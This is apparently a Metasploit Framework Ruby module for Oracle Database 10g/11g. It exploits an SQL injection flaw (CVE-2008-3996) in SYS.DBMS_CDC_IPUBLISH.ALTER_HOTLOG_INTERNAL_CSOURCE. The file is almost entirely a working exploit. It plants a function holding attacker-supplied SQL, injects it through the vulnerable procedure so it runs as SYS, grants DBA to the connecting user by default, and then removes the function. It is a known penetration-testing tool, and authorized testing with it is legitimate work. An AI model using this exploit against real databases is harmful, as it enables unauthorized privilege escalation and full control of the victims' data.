83 lines
2.2 KiB
Ruby
83 lines
2.2 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::ORACLE
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE',
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'Description' => %q{
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The module exploits an sql injection flaw in the ALTER_HOTLOG_INTERNAL_CSOURCE
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procedure of the PL/SQL package DBMS_CDC_IPUBLISH. Any user with execute privilege
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on the vulnerable package can exploit this vulnerability. By default, users granted
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EXECUTE_CATALOG_ROLE have the required privilege. Affected versions: Oracle Database
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Server versions 10gR1, 10gR2 and 11gR1. Fixed with October 2008 CPU.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2008-3996' ],
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[ 'OSVDB', '49321'],
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[ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/2008-08.shtml'],
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],
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'DisclosureDate' => 'Oct 22 2008'))
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register_options(
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[
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OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),
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], self.class)
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end
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def run
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return if not check_dependencies
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name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
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function = "
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CREATE OR REPLACE FUNCTION #{name}
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RETURN VARCHAR2 AUTHID CURRENT_USER
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IS
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PRAGMA AUTONOMOUS_TRANSACTION;
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BEGIN
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EXECUTE IMMEDIATE '#{datastore['SQL']}';
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COMMIT;
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RETURN NULL;
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END;"
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package = "
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BEGIN
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SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE('''||'||user||'.#{name}||''');END;"
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clean = "DROP FUNCTION #{name}"
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begin
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print_status("Sending function...")
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prepare_exec(function)
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rescue => e
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return
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end
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print_status("Attempting sql injection on SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE...")
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prepare_exec(package)
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print_status("Done! Removing function '#{name}'...")
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prepare_exec(clean)
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end
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end
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